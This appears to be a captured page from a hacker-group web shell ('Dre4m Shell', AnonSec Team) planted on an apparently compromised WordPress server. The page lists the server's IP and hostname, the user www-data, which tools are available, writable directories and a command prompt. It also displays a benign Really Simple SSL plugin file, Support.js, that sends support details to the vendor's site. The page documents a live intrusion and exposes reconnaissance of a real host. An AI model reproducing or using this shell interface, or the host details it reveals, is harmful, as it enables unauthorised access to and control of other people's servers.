Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 52.15.113.71
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Settings/Support.js
import {TextareaControl,} from '@wordpress/components';
import {__} from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import {useState} from "@wordpress/element";
import {addUrlRef} from "../utils/AddUrlRef";

const Support = () => {
    const [message, setMessage] = useState('');
    const [sending, setSending] = useState(false);

    const onChangeHandler = (message) => {
        setMessage(message);
    }

    const onClickHandler = () => {
        setSending(true);
        return rsssl_api.runTest('supportData', 'refresh').then( ( response ) => {
            let encodedMessage = message.replace(/(?:\r\n|\r|\n)/g, '--br--');
            let url = 'https://really-simple-ssl.com/support'
            +'?customername=' + encodeURIComponent(response.customer_name)
            + '&email=' + response.email
            + '&domain=' + response.domain
            + '&scanresults=' + encodeURIComponent(response.scan_results)
            + '&licensekey=' + encodeURIComponent(response.license_key)
            + '&supportrequest=' + encodeURIComponent(encodedMessage)
            + '&htaccesscontents=' + encodeURIComponent(response.htaccess_contents)
            + '&debuglog=' + encodeURIComponent(response.system_status);
            url = addUrlRef(url);
            window.location.assign(url);
        });
    }

    let disabled = sending || message.length===0;
    return (
        <>
            <TextareaControl
                    disabled={sending}
                    placeholder={__("Type your question here","really-simple-ssl")}
                    onChange={ ( message ) => onChangeHandler(message) }
            />
            <button
                className={"button button-secondary"}
                disabled={disabled}
                onClick={ ( e ) => onClickHandler(e) }>
                { __( 'Send', 'really-simple-ssl' ) }
            </button>
        </>
    );

}

export default Support;

Anon7 - 2022
AnonSec Team